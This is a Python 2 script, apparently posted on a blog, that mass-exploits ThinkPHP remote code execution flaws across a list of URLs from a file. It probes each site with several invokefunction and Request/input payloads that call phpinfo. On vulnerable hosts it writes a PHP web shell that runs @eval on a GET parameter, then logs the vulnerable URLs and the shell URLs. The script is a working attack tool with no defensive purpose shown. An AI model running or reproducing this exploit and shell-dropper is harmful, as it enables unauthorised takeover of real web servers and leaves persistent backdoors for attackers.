# Tuesday, December 11, 2018
# Author:nianhua
# Blog:https://github.com/nian-hua/

import re
import requests
from multiprocessing import Pool, Manager

payload = ['/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
           '/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
           '/?s=index/\\think\\Request/input&filter=phpinfo&data=1',
           '/public/?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
           '/public/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
           '/public/?s=index/\\think\\Request/input&filter=phpinfo&data=1',
           '?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>',
           '/public/?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>',
           ]

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}

getshell = '/?s=index/\\think\\template\\driver\\file/write&cacheFile=7a57a5a743894a0e.php&content=%3C?php%20%40eval($_GET["cmd"]);?%3E'

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"}


def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))
    
    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def ThinkPHP(url):

    try:

        for i in payload:

            newurl = url + i

            r = requests.get(newurl,headers=headers)

            if "PHP Version" in r.text:

                r = requests.get(url + getshell,headers=headers)

                if r.status_code == 200:

                    shellurl = url + '/7a57a5a743894a0e.php'

                    return newurl, shellurl

                return newurl, 0

    except:

        pass

    return 0, 0


def savePeopleInformation(url, queue):

    newurl, shellurl = ThinkPHP(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

        if shellurl != 0:

            fw = open('shell.txt', 'a')
            fw.write(shellurl + '\n')
            fw.close()

    queue.put(url)


def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break




if "__main__" == __name__:

    main()
